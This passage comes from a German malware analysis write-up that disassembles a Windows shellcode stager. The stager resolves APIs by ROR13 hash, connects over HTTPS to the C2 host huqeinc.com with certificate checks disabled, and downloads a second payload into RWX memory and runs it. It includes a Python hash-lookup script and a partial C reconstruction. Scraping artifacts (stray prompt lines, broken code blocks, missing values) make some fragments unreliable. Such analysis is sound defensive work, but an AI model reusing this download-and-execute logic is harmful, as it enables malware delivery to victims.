des Shellcodes zeigt. Schauen wir uns diesen Teil also an!

Der Code an Offset 6 beginnt mit ein paar interessanten Anweisungen:```assembly 0x0000000000000006: 60 pushad
0x0000000000000007: 89 E5 mov ebp, esp 0x0000000000000009: 31 D2 xor edx, edx 0x000000000000000b: 64 8B 52 30 mov edx, dword ptr fs:[edx + 0x30] 0x000000000000000f: 8B 52 0C mov edx, dword ptr [edx + 0xc] 0x0000000000000012: 8B 52 14 mov edx, dword ptr [edx + 0x14] 0x0000000000000015: 8B 72 28 mov esi, dword ptr [edx + 0x28] 0x0000000000000018: 0F B7 4A 26 movzx ecx, word ptr [edx + 0x26]

root@kitploit:~
Nach einem einfachen Prolog (alle Register auf den Stack legen und einen neuen Stack-Frame erstellen) sehen wir, dass `edx` (durch Selbst-XOR) nullifiziert wird.

Dann erhält `edx` die Adresse von `fs:[0x30]`. Diese Adresse ist der [Process Environment Block (PEB)](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb).

Der PEB ist ein Block im Benutzermodus, der nützliche Daten des Prozesses enthält, darunter dessen Befehlszeile, Debug-Status, geladene Module und weitere. Er ist eine Leistungsoptimierung, um unnötige Kernel-Syscalls zu vermeiden.

Wir sehen, dass mehrere Adressen referenziert werden - in IDA könnte man die PEB-Struktur laden, aber der Vollständigkeit halber:

- Offset 0xc ist das `LDR`-Mitglied der `PEB`, das den Typ `PPEB_LDR_DATA` hat, welcher [hier](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data) dokumentiert ist.
- Offset 0x14 in der `PEB_LDR_DATA`-Struktur ist das Mitglied `InMemoryOrderModuleList` vom Typ `LIST_ENTRY`. Die `LIST_ENTRY`-Struktur wird in Windows umfassend verwendet und ist normalerweise nur ein Header in einer größeren Struktur. Dieser Fall ist keine Ausnahme - der tatsächliche Typ der Einträge ist `LDR_DATA_TABLE_ENTRY`.
- Bei Offset 0x24 in der `LDR_DATA_TABLE_ENTRY` existiert ein Mitglied `FullDllName` vom Typ `UNICODE_STRING`. Dieser Typ wird in Windows umfassend verwendet und ist im Wesentlichen ein Container für einen Pascal-String - die ersten beiden WORDs beschreiben die Länge des Strings und seine Pufferkapazität. Daher lokalisieren wir bei 0x28 den tatsächlichen Puffer - welcher im Register `esi` gespeichert wird.
- Das `ecx`-Register befindet sich genau 2 Bytes vor dem DLL-Namenspuffer - und enthält die Länge des Strings.

Zusammenfassend ruft dieser gesamte Codeabschnitt den `FullDllName` im aktuellen PEB-Moduleintrag ab - speichert den Puffer in `esi` und dessen Länge in `ecx`.

## Modulnamen-Hash-Berechnung

Betrachten wir die nächsten paar Instruktionen:```assembly
0x000000000000001c:  31 FF                      xor        edi, edi
0x000000000000001e:  31 C0                      xor        eax, eax
0x0000000000000020:  AC                         lodsb      al, byte ptr [esi]
0x0000000000000021:  3C 61                      cmp        al, 0x61
0x0000000000000023:  7C 02                      jl         0x27
0x0000000000000025:  2C 20                      sub        al, 0x20
0x0000000000000027:  C1 CF 0D                   ror        edi, 0xd
0x000000000000002a:  01 C7                      add        edi, eax
0x000000000000002c:  E2 F0                      loop       0x1e

The lodsb-Instruktion ist genau der Grund, warum die Zeichenkette in esi gespeichert wurde, warum die Länge in ecx gespeichert wurde und warum das Richtungsflag gelöscht wurde. Diese liest das erste ANSI-Zeichen (Byte), auf das esi zeigt, erhöht esi um eins und speichert das Ergebnis im al-Register. Die späteren Teile wandeln Kleinbuchstaben in Großbuchstaben um – wenn der ASCII-Code größer oder gleich 0x61 ('a') ist, wird 0x20 subtrahiert. Nach der Umwandlung in Großbuchstaben wird das edi-Register um 0xd nach rechts rotiert, und dann wird der Zeichenwert zu ihm addiert. Da edi rotiert wird, verliert es die Informationen über die Zeichen, die ihm hinzugefügt werden, behält aber eine Art Aggregat davon in seinem Wert. Mit anderen Worten – edi ist eine Art Hash der Zeichenkette, auf die esi zeigt. Die loop-Instruktion nutzt übrigens geschickt aus, dass ecx der Zähler für die Länge der Zeichenkette ist – sie dekrementiert um eins und führt die nächste Iteration aus, solange nicht null ist. Diese Logik nach Python zu übertragen ist ziemlich unkompliziert:```python def get_string_hash(s): v = 0 for c in s.upper(): v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v

root@kitploit:~
## Die Exporttabelle durchlaufen
Kommen wir zu den nächsten Anweisungen:```assembly
0x000000000000002e:  52                         push       edx
0x000000000000002f:  57                         push       edi
0x0000000000000030:  8B 52 10                   mov        edx, dword ptr [edx + 0x10]
0x0000000000000033:  8B 42 3C                   mov        eax, dword ptr [edx + 0x3c]
0x0000000000000036:  01 D0                      add        eax, edx
0x0000000000000038:  8B 40 78                   mov        eax, dword ptr [eax + 0x78]
0x000000000000003b:  85 C0                      test       eax, eax
0x000000000000003d:  74 4A                      je         0x89
0x000000000000003f:  01 D0                      add        eax, edx
0x0000000000000041:  50                         push       eax
0x0000000000000042:  8B 48 18                   mov        ecx, dword ptr [eax + 0x18]
0x0000000000000045:  8B 58 20                   mov        ebx, dword ptr [eax + 0x20]
0x0000000000000048:  01 D3                      add        ebx, edx

Zuerst werden edx (das den aktuellen Moduleintrag enthält) und edi (das den Hash seines Namens enthält) auf dem Stack gesichert. Danach wird edx an Offset 0x10 referenziert. Da wir uns 8 Bytes innerhalb der Struktur (vom Typ LDR_DATA_TABLE_ENTRY) befinden, ist 0x10 das DllBase-Mitglied des Eintrags (0x18 - 0x8). Auch im Speicher besitzt das Modul eine PE-Datenstruktur, und Offset 0x3c entspricht dem Zeiger des PE-Headers im DOS-Header. Wir können sehen, dass eax als RVA behandelt wird, da edx zu sich selbst addiert wird - edx ist die Basisadresse des Moduls im Speicher. Entsprechend ist der Offset 0x78 davon die PE-Exporttabelle, die Informationen über die exportierten Symbole (üblicherweise Funktionen) enthält. Die zugehörige Datenstruktur heißt IMAGE_EXPORT_DIRECTORY und ist . Angenommen, es ist nicht null (was mit geprüft wird) - wir pushen und dereferenzieren zwei Teile darin:

  • An Offset 0x18 erhalten wir das NumberOfNames-Mitglied.
  • An Offset 0x20 erhalten wir das AddressOfNames-Mitglied. Zusammenfassend hat dieser Teil also etwas Parsing des PE durchgeführt, um die Exporttabelle zu erhalten - und insbesondere die Anzahl der exportierten Symbole (in ecx) und deren Adresse im Speicher (in ebx).

Weiter geht's:```assembly 0x000000000000004a: E3 3C jecxz 0x88 0x000000000000004c: 49 dec ecx 0x000000000000004d: 8B 34 8B mov esi, dword ptr [ebx + ecx*4] 0x0000000000000050: 01 D6 add esi, edx

root@kitploit:~
Der Befehl `jecxz` springt, wenn `ecx` null ist – das passiert, wenn es keine exportierten Namen gibt, deutet aber auch darauf hin, dass diese Prüfung in einer Schleife stattfindet.
Die Tatsache, dass wir `ecx` verringern, bestätigt diesen Verdacht – wir erwarten, dass über alle exportierten Symbole iteriert wird, um eine Bedingung zu erfüllen.
Wir sehen, dass `ecx` mit 4 multipliziert und zu `ebx` addiert wird – alle Einträge in `AddressOfNames` sind RVAs zu den Symbolnamen, und so zeigt `esi` schließlich auf einen exportierten Namen.```assembly
0x0000000000000052:  31 FF                      xor        edi, edi
0x0000000000000054:  31 C0                      xor        eax, eax
0x0000000000000056:  AC                         lodsb      al, byte ptr [esi]
0x0000000000000057:  C1 CF 0D                   ror        edi, 0xd
0x000000000000005a:  01 C7                      add        edi, eax
0x000000000000005c:  38 E0                      cmp        al, ah
0x000000000000005e:  75 F4                      jne        0x54

Dieser Teil ähnelt der Hash-Berechnung, die wir bereits früher gesehen haben, aber anstatt ecx als Zähler zu verwenden, berechnet er den Hash bis zu einem NUL-Terminator:

  • Zuerst wird edi per Selbst-XOR auf null gesetzt. Wie zuvor hält edi den Hash-Wert.
  • Das Register eax wird ebenfalls auf null gesetzt. Sein unteres Byte (al) enthält in jeder Iteration den ASCII-Code des aktuellen Zeichens.
  • Mit lodsb setzt der Code al auf das Byte, auf das esi zeigt, und erhöht esi auf das nächste Byte.
  • Wie zuvor wird edi um 0xd nach rechts rotiert und anschließend der ASCII-Wert des aktuellen Zeichens addiert.
  • Der Vergleich von al und ah vergleicht eigentlich nur al mit null (NUL-Terminator), da hier keine Operation andere Bytes von eax berührt und wir sichergestellt haben, dass diese null sind.

Wir erwarten, dass die nächsten Teile eine Art Vergleich zwischen den berechneten Hashes (Modulname, Symbolname) und den erhaltenen Eingaben durchführen:```assembly 0x0000000000000060: 03 7D F8 add edi, dword ptr [ebp - 8] 0x0000000000000063: 3B 7D 24 cmp edi, dword ptr [ebp + 0x24] 0x0000000000000066: 75 E2 jne 0x4a 0x0000000000000068: 58 pop eax 0x0000000000000069: 8B 58 24 mov ebx, dword ptr [eax + 0x24] 0x000000000000006c: 01 D3 add ebx, edx 0x000000000000006e: 66 8B 0C 4B mov cx, word ptr [ebx + ecx2] 0x0000000000000072: 8B 58 1C mov ebx, dword ptr [eax + 0x1c] 0x0000000000000075: 01 D3 add ebx, edx 0x0000000000000077: 8B 04 8B mov eax, dword ptr [ebx + ecx4] 0x000000000000007a: 01 D0 add eax, edx 0x000000000000007c: 89 44 24 24 mov dword ptr [esp + 0x24], eax 0x0000000000000080: 5B pop ebx 0x0000000000000081: 5B pop ebx 0x0000000000000082: 61 popad
0x0000000000000083: 59 pop ecx 0x0000000000000084: 5A pop edx 0x0000000000000085: 51 push ecx 0x0000000000000086: FF E0 jmp eax

root@kitploit:~
Nun, `ebp-8` zeigt genau auf den alten `edi`-Wert, den wir gepusht haben – der den Hash des festgelegten Modulnamens enthielt.
Wir addieren diesen Hashwert zum Hashwert des exportierten Namens und vergleichen das mit dem DWORD an `ebp+0x24`.
Aufgrund einer früheren `pushad`-Anweisung haben wir 8 Register gepusht, sodass dies direkt auf den letzten geheimnisvollen Wert zeigt, der am Anfang gepusht wurde (0x726774c)!
Wenn sie nicht gleich sind, springen wir zum Offset `0x4a`, um zum nächsten Symbol im selben Modul überzugehen.
Ansonsten stellen wir die Exporttabelle in `eax` wieder her, dereferenzieren die Adresse am Offset 0x24 (das ist die Ordinaltabelle) und addieren sie zur Basis `ebx`.
Die Ordinaltabelle enthält 2 Bytes pro Eintrag – und da `ecx` die Eintragsnummer ist, ist `ebx + ecx*2` der Ordinalwert.
Die nächsten Zeilen sind unkompliziert: `0x1c` in der Exporttabelle ist die Adresse der exportierten Funktionen, und `ebx + ecx*4` stellt die über `ecx` indizierte Funktionsadresse dar.
Wie man sieht, wird dieser Wert in `eax` gespeichert und schließlich aufgerufen:
- Den `eax`-Wert in `esp + 0x24` speichern, was zu diesem Zeitpunkt genau die Stelle ist, an der das `eax`-Register in der `pushad`-Anweisung gespeichert wurde. Dies stellt sicher, dass der `eax`-Wert nicht verloren geht, wenn wir `popad` ausführen.
- Zwei Dummy-Pops auf `ebx` ausführen, um zwei vorherige Pushes loszuwerden (den berechneten Hash und den Moduleintrag).
- Ein `popad` ausführen, das alle Allzweckregister vom Stack wiederherstellt, aber `eax` aufgrund unserer vorherigen Überschreibung bewahrt. In diesem Stadium entsprechen der Stack und die Register ihrem ursprünglichen Zustand beim Eintritt in die Funktion, außer `eax`, das ein gewünschter Funktionszeiger ist.
- Den Rückgabewert (der vom `call ebp` gepusht wurde) in `ecx` und den gewünschten Hash in `edx` poppen und dann `ecx` erneut pushen, wodurch der geheimnisvolle Hash-Wert im Stack im Wesentlichen entfernt wird.
- An diesem Punkt führt `jmp eax` zum Abschluss der Funktion – die Funktion, auf die `eax` zeigt, wird ausgeführt, und wenn sie zurückkehrt, verwendet sie den ursprünglichen Rückgabewert.

Der letzte Teil dieser langen Logik fährt im Grunde zum nächsten Modul fort:```assembly
0x0000000000000088:  58                         pop        eax
0x0000000000000089:  5F                         pop        edi
0x000000000000008a:  5A                         pop        edx
0x000000000000008b:  8B 12                      mov        edx, dword ptr [edx]
0x000000000000008d:  EB 86                      jmp        0x15

Dadurch werden im Wesentlichen frühere Pushes bereinigt und zu Offset 0x15 gewechselt, wo das nächste Modul zum Einsatz kommen wird.

Zusammengefasst – der gesamte Shellcode zwischen Offset 6 und 0x8d (einschließlich) erwartet, dass Parameter für eine Funktion gepusht werden, gefolgt von einem benutzerdefinierten Hash. Wenn der Hash übereinstimmt – wird die entsprechende Funktion aufgerufen. Das ist sicherlich ein netter Weg, um Funktionsnamen-Strings im Code zu vermeiden!

Da wir uns diese Hashes ziemlich oft ansehen werden, ist es gut, unsere Arbeit zu automatisieren. Nutzen wir die zuvor codierten Python-Skripte erneut und schreiben eine Funktion, die einen bestimmten Hash nachschlägt:```python import os import pefile import sys

BASE_DIR = os.path.join(os.environ['WINDIR'], 'system32')

def get_string_hash(s): v = 0 for c in s: v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v

def get_lib_hash(s): return get_string_hash(''.join([ i + '\x00' for i in (s + '\x00').upper() ]))

def get_sym_hash(s): return get_string_hash(s + '\x00')

def find_by_hash(hash, dll_postfix): for dll_name in os.listdir(BASE_DIR): if not dll_name.endswith(dll_postfix): continue dll_path = os.path.join(BASE_DIR, dll_name) dll_hash = get_lib_hash(dll_name) pe = pefile.PE(dll_path) if pe is None or not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): continue syms = [ sym.name.decode() for sym in pe.DIRECTORY_ENTRY_EXPORT.symbols if sym.name is not None ] for s in syms: if (get_sym_hash(s) + dll_hash) & 0xFFFFFFFF == hash: print('%s!%s' % (dll_name, s)) return print('Coult not find hash!')

if name == 'main': if len(sys.argv) > 1: dll_postfix = '.dll' if len(sys.argv) == 2 else sys.argv[2] num = int(sys.argv[1], 16) if 'x' in sys.argv[1] else int(sys.argv[1]) find_by_hash(num, dll_postfix)

root@kitploit:~
Wenn wir zum Beispiel `get_hash.py 0x726774c kernel32.dll` ausführen, erhalten wir die Ausgabe `kernel32.dll!LoadLibraryA`!

## Analyse der Hauptlogik
Jetzt, da wir verstehen, wie die gesamte Hashing-Funktionalität funktioniert, ist es Zeit für die Hash-Jagd!
Kehren wir zur Hauptlogik zurück - wir sagten, dass der String `wininet` auf den Stack gelegt wird - und jetzt wissen wir, dass `LoadLibraryA` damit aufgerufen wird.
Die nächsten Teile sind nun:```assembly
0x00000000000000a2:  E8 00 00 00 00             call       0xa7
0x00000000000000a7:  31 FF                      xor        edi, edi
0x00000000000000a9:  57                         push       edi
0x00000000000000aa:  57                         push       edi
0x00000000000000ab:  57                         push       edi
0x00000000000000ac:  57                         push       edi
0x00000000000000ad:  57                         push       edi
0x00000000000000ae:  68 3A 56 79 A7             push       0xa779563a
0x00000000000000b3:  FF D5                      call       ebp

Der call dort schiebt die Rücksprungadresse auf den Stack (0xa7). Dann setzen wir edi auf null und schieben 5 Nullen auf den Stack. Die 0xa779563a ist ein weiterer Hash, diesmal in wininet.dll, da get_hash.py 0xa779563a wininet.dll!InternetOpenA ergibt. Daher ruft der Code InternetOpenA mit lauter Nullen und NULLs auf. Es gibt ein paar Sprünge, die in einem Aufruf zurück zu Offset 0xba enden:```assembly 0x00000000000000b5: E9 A4 00 00 00 jmp 0x15e 0x00000000000000ba: 5B pop ebx ... 0x000000000000015e: E9 C9 01 00 00 jmp 0x32c ... 0x000000000000032c: E8 89 FD FF FF call 0xba 0x0000000000000331: 68 75 71 65 69 push 0x69657175 0x0000000000000336: E6 outs dx, byte ptr ds:[esi] ...

root@kitploit:~
Die Idee ist, dass wir bei der Rückkehr die Adresse des Offsets `0x331` gepusht haben werden.  
Ich habe ein paar Assembler-Anweisungen an dieser Adresse hinzugefügt – beachte, dass `outs` zum Beispiel nicht etwas ist, das wir erwarten.  
Wenn man diese Bytes *als Daten* untersucht, ergibt sich eine andere Geschichte:```python
binascii.unhexlify('68757165696e632e636f6d005d44fd6d')

Dies ergibt die Zeichenkette huqeinc.com (mit einem NUL-Terminator), gefolgt von 4 unverständlichen Bytes. Wenn wir also zurück zur Adresse 0xba gehen, landen wir in ebx, das auf diese Zeichenkette zeigt. Untersuchen wir die Teile, die dieser Anweisung folgen:```assembly 0x00000000000000bb: 31 C9 xor ecx, ecx 0x00000000000000bd: 51 push ecx 0x00000000000000be: 51 push ecx 0x00000000000000bf: 6A 03 push 3 0x00000000000000c1: 51 push ecx 0x00000000000000c2: 51 push ecx 0x00000000000000c3: 68 BB 01 00 00 push 0x1bb 0x00000000000000c8: 53 push ebx 0x00000000000000c9: 50 push eax 0x00000000000000ca: 68 57 89 9F C6 push 0xc69f8957 0x00000000000000cf: FF D5 call ebp

root@kitploit:~
Der Wert `0xc69f8957` ist ein weiterer Hash, diesmal für `wininet.dll!InternetConnectA`.
Diese Funktion erhält viele Parameter, aber im Kern bekommen wir: `InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL)`.
Beachten Sie, dass `INTERNET_SERVICE_HTTP` den Wert 3 hat, `0x1bb` der Wert 443 ist und `eax` das Ergebnis von `InternetOpenA` enthielt.

Im weiteren Verlauf sehen wir nach dem Sichern des Ergebnisses von `InternetConnectA` eine ähnliche Reihe von Sprüngen:```assembly
0x00000000000000d1:  50                         push       eax
0x00000000000000d2:  E9 8C 00 00 00             jmp        0x163
0x00000000000000d7:  5B                         pop        ebx
0x00000000000000d8:  31 D2                      xor        edx, edx
0x00000000000000da:  52                         push       edx
0x00000000000000db:  68 00 32 C0 84             push       0x84c03200
0x00000000000000e0:  52                         push       edx
0x00000000000000e1:  52                         push       edx
0x00000000000000e2:  52                         push       edx
0x00000000000000e3:  53                         push       ebx
0x00000000000000e4:  52                         push       edx
0x00000000000000e5:  50                         push       eax
0x00000000000000e6:  68 EB 55 2E 3B             push       0x3b2e55eb
0x00000000000000eb:  FF D5                      call       ebp
...
0x0000000000000163:  E8 6F FF FF FF             call       0xd7
0x0000000000000168:  2F                         das        
0x0000000000000169:  51                         push       ecx
0x000000000000016a:  70 59                      jo         0x1c5
...

Wie zuvor ergeben die Anweisungen nach dem Aufruf weniger Sinn, daher vermuten wir, dass sie als Daten interpretiert werden sollten. Tatsächlich kodieren sie den NUL-terminierten String /QpYB, was nicht sonderlich hilfreich ist. Wir stellen fest, dass beim Zurückkehren zu Offset 0xd7 ein Zeiger auf diesen String auf den Stack gelegt wird. Zurück bei 0xd7 wird diese Adresse in ebx gepoppt. Um zu verstehen, was diese Daten bedeuten, lass uns herausfinden, welche Funktion aufgerufen wird. Der Hash 0x3b2e55eb ergibt wininet.dll!HttpOpenRequestA, das ebenfalls viele Parameter erhält. Die meisten dieser Parameter werden NULLs sein (aufgrund des Pushs von edx), mit Ausnahme der folgenden:

  • hConnect ist eax, welches das Ergebnis von InternetConnectA ist.
  • lpszObjectName ist der String, den wir gesehen haben (/QpYB).
  • dwFlags enthält den Wert 0x84c03200, der laut diesem INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD ist.

Die nächsten paar Anweisungen enden mit einem weiteren API-Aufruf:```assembly 0x00000000000000ed: 89 C6 mov esi, eax 0x00000000000000ef: 83 C3 50 add ebx, 0x50 0x00000000000000f2: 68 80 33 00 00 push 0x3380 0x00000000000000f7: 89 E0 mov eax, esp 0x00000000000000f9: 6A 04 push 4 0x00000000000000fb: 50 push eax 0x00000000000000fc: 6A 1F push 0x1f 0x00000000000000fe: 56 push esi 0x00000000000000ff: 68 75 46 9E 86 push 0x869e4675 0x0000000000000104: FF D5 call ebp

root@kitploit:~
Nachdem wir die Ergebnisse von `HttpOpenRequestA` mit `esi` gesichert haben, addieren wir 0x50 zu `ebx`.
Da `ebx` garantiert zwischen den Aufrufen erhalten bleibt, zeigt es nun auf Offset `0x1b8` im Shellcode, der als Zeichenkette dargestellt wie folgt aussieht: `User-Agent: Microsoft-CryptoAPI/6.1\r\n`.
Der Hash `0x869e4675` löst die API `wininet.dll!InternetSetOptionA` auf, die die folgenden Argumente erhält:
- Das Request-Handle, das in `esi` gespeichert wurde.
- Den Wert `0x1f` als `dwOption`, was laut [diesem Dokument](https://learn.microsoft.com/en-us/windows/win32/wininet/option-flags) `INTERNET_OPTION_SECURITY_FLAGS` ist.
- Der Parameter `lpBuffer` wird ein Zeiger auf den Wert `0x3380` sein, der die Sicherheitsflags für die Anfrage kodiert: `WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID`.
- Der `dwBufferLength` ist 4, da nur ein DWORD als `lpBuffer` gesetzt wurde.

Dadurch verwendet die Verbindung TLS, ignoriert aber alle Zertifikatsfehler usw.

Hier sind die nächsten Teile:```assembly
0x0000000000000106:  5F                         pop        edi
0x0000000000000107:  31 FF                      xor        edi, edi
0x0000000000000109:  57                         push       edi
0x000000000000010a:  57                         push       edi
0x000000000000010b:  6A FF                      push       -1
0x000000000000010d:  53                         push       ebx
0x000000000000010e:  56                         push       esi
0x000000000000010f:  68 2D 06 18 7B             push       0x7b18062d
0x0000000000000114:  FF D5                      call       ebp
0x0000000000000116:  85 C0                      test       eax, eax
0x0000000000000118:  0F 84 CA 01 00 00          je         0x2e8
0x000000000000011e:  31 FF                      xor        edi, edi
0x0000000000000120:  85 F6                      test       esi, esi
0x0000000000000122:  74 04                      je         0x128
0x0000000000000124:  89 F9                      mov        ecx, edi
0x0000000000000126:  EB 09                      jmp        0x131
0x0000000000000128:  68 AA C5 E2 5D             push       0x5de2c5aa
0x000000000000012d:  FF D5                      call       ebp
0x000000000000012f:  89 C1                      mov        ecx, eax
0x0000000000000131:  68 45 21 5E 31             push       0x315e2145
0x0000000000000136:  FF D5                      call       ebp
0x0000000000000138:  31 FF                      xor        edi, edi
0x000000000000013a:  57                         push       edi
0x000000000000013b:  6A 07                      push       7
0x000000000000013d:  51                         push       ecx
0x000000000000013e:  56                         push       esi
0x000000000000013f:  50                         push       eax
0x0000000000000140:  68 B7 57 E0 0B             push       0xbe057b7
0x0000000000000145:  FF D5                      call       ebp
0x0000000000000147:  BF 00 2F 00 00             mov        edi, 0x2f00
0x000000000000014c:  39 C7                      cmp        edi, eax
0x000000000000014e:  75 07                      jne        0x157
0x0000000000000150:  58                         pop        eax
0x0000000000000151:  50                         push       eax
0x0000000000000152:  E9 7B FF FF FF             jmp        0xd2
0x0000000000000157:  31 FF                      xor        edi, edi
0x0000000000000159:  E9 91 01 00 00             jmp        0x2ef

Ein Dummy-pop, um das übermäßige Pushen von zuvor zu bereinigen (wir haben die Sicherheitsoptionen auf den Stack gelegt). Da wir einen weiteren Hash sehen (0x7b18062d), lösen wir sofort dessen API auf: wininet.dll!HttpSendRequestA. Hier gibt es einige bemerkenswerte Punkte:

  • Der zuvor in ebx gespeicherte User-Agent wird als zweites Argument an die Funktion übergeben.
  • Nach dem Aufruf der Funktion wird geprüft, ob sie erfolgreich war - wenn sie fehlgeschlagen ist - springen wir zu Offset 0x2e8.
  • Die Prüfung, ob esi null ist, prüft tatsächlich, ob das Request-Handle nicht NULL ist. Das ist ziemlich ungewöhnlich, da wir HttpSendRequestA an diesem Punkt bereits aufgerufen haben, aber trotzdem - falls es null war, springen wir zu 0x128.
  • Bei Offset 0x128 verwenden wir den Hash 0x5de2c5aa, also kernel32.dll!GetLastError, und speichern dessen Ergebnis in ecx.
  • Bei Offset 0x131 verwenden wir den Hash 0x315e2145, also user32.dll!GetDesktopWindow, und verwenden dieses Ergebnis dann mit dem Hash , also .

Die Idee ist, einfach InternetErrorDlg aufzurufen und zu sehen, ob ein erneuter Versuch erforderlich ist. Erinnern wir uns auch: Wenn HttpSendRequestA fehlschlägt - springen wir zu 0x2e8. Wenn es erfolgreich war und kein erneuter Versuch erforderlich ist - springen wir zu 0x2ef. Untersuchen wir Offset 0x2e8 (den Fehlerpfad):```assembly 0x00000000000002e8: 68 F0 B5 A2 56 push 0x56a2b5f0 0x00000000000002ed: FF D5 call ebp

root@kitploit:~
Der Hash übersetzt sich zu `kernel32.dll!ExitProcess`, also beenden wir bei einem Fehler den Prozess.
Dieser gesamte Teil könnte wie folgt übersetzt werden:```c
if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0))
{
	ExitProcess(0);
}
if (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, NULL))
{
	goto lblRetryConn;
}
...

Ausführen eines weiteren Shellcodes

Betrachten wir, was an Offset 0x2ef passiert:```assembly 0x00000000000002ef: 6A 40 push 0x40 0x00000000000002f1: 68 00 10 00 00 push 0x1000 0x00000000000002f6: 68 00 00 40 00 push 0x400000 0x00000000000002fb: 57 push edi 0x00000000000002fc: 68 58 A4 53 E5 push 0xe553a458 0x0000000000000301: FF D5 call ebp 0x0000000000000303: 93 xchg ebx, eax 0x0000000000000304: B9 00 00 00 00 mov ecx,0x0 0x0000000000000309: 01 D9 add ecx,ebx 0x000000000000030b: 51 push ecx 0x000000000000030c: 53 push ebx 0x000000000000030d: 89 E7 mov edi, esp 0x000000000000030f: 57 push edi 0x0000000000000310: 68 00 20 00 00 push 0x2000 0x0000000000000315: 53 push ebx 0x0000000000000316: 56 push esi 0x0000000000000317: 68 12 96 89 E2 push 0xe2899612 0x000000000000031c: FF D5 call ebp 0x000000000000031e: 85 C0 test eax, eax 0x0000000000000320: 74 C6 je 0x2e8

root@kitploit:~
Kannst du erraten, was der Hash `0xe553a458` ist, nur basierend auf diesen anderen Konstanten?
- `0x40` ist `PAGE_EXECUTEREADWRITE`, wie wir bereits gesehen haben.
- `0x1000` ist `MEM_COMMIT`.
Tatsächlich entspricht dieser Hash `kernel32.dll!VirtualAlloc`, und wir allozieren einfach einen RWX-Speicherblock der Größe `0x400000`.
Es ist wichtig, hier die Logik des Angreifers zu verstehen – da wir eine Internetverbindung zu einem C2-Server haben und nun eine RWX-Seite allozieren, erwarten wir, eine weitere Payload zu erhalten!

Nach diesem Aufruf wird der resultierende Speicherpuffer in `ebx` und `ecx` gespeichert.
Bei Offset `0x30b` beginnen wir einen weiteren Satz von Stack-Pushes für einen Funktionsaufruf – diesmal mit dem Hash `0xe2899612` (`wininet.dll!InternetReadFile`).
Die Pushes bestimmen die Parameter (in umgekehrter Reihenfolge):
- `hFile` ist `esi`, was unsere Internetanfrage war (vom Typ `HINTERNET`).
- `lpBuffer` ist `ebx` – unser neu allozierter Puffer.
- `dwNumberOfBytesToRead` ist auf `0x2000` gesetzt.
- `lpdwNumberOfBytesRead` ist `edi`, das auf freien Speicherplatz zeigt, den wir auf dem Stack alloziert haben.

Schließlich springen wir, falls diese Funktion fehlschlägt, zu `0x2e8`, was erneut `ExitProcess` aufruft.
Beachte, dass es eine zusätzliche `push`-Anweisung von `ecx` gibt (Offset `0x30b`) – das bedeutet, dass wir die Adresse unseres allozierten Puffers gesichert haben.

Wir sind fast am Ende! Schauen wir uns die letzten paar Anweisungen an:```assembly
0x0000000000000322:    8B 07                      mov        eax, dword ptr [edi]
0x0000000000000324:    01 C3                      add        ebx, eax
0x0000000000000326:    85 C0                      test       eax, eax
0x0000000000000328:    75 E5                      jne        0x30f
0x000000000000032a:    58                         pop        eax
0x000000000000032b:    C3                         ret

Nun, edi zeigte auf die Anzahl der gelesenen Bytes – es wird in eax dereferenziert. Dann addieren wir diesen Wert zu ebx, das erhalten bleibt und auf unseren RWX-Speicherbereich zeigt. Wenn eax nicht null ist, bedeutet das, dass einige Bytes gelesen wurden, also springen wir erneut zu 0x30f, um weitere Daten zu lesen. Dies ist bei Lesevorgängen üblich – wir lesen jedes Mal maximal 0x2000 Bytes, bis wir 0 lesen, was bedeutet, dass keine Bytes mehr zu lesen sind. Wenn wir nicht springen, befinden wir uns bei 0x32a, wo wir die allokierten Bytes vom Stapel popen und ret aufrufen. Zur Erinnerung: Wir haben zuvor den Anfang des zurückgegebenen Puffers gepusht, sodass ret ihn als Rücksprungadresse verwenden wird. Das bedeutet, wir springen einfach zu dem Puffer, den wir erhalten haben – behandeln ihn im Wesentlichen als weiteren Shellcode!

Alles zusammenfügen

So könnte unser Shellcode konzeptionell aussehen:```c HINTERNET hInternet; HINTERNET hConnect; HINTERNET hRequest; DWORD dwSecurityOptions = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; DWORD dwErrorFlags = FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA; PBYTE pcPayload; PBYTE pcCurrPtr; DWORD dwBytesRead; INT (*pfnPayload)();

// Make sure "wininet.dll" is loaded in current process LoadLibraryA("wininet");

// Connect to C2 hInternet = InternetOpenA(NULL, 0, NULL, NULL, 0); hConnect = InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);

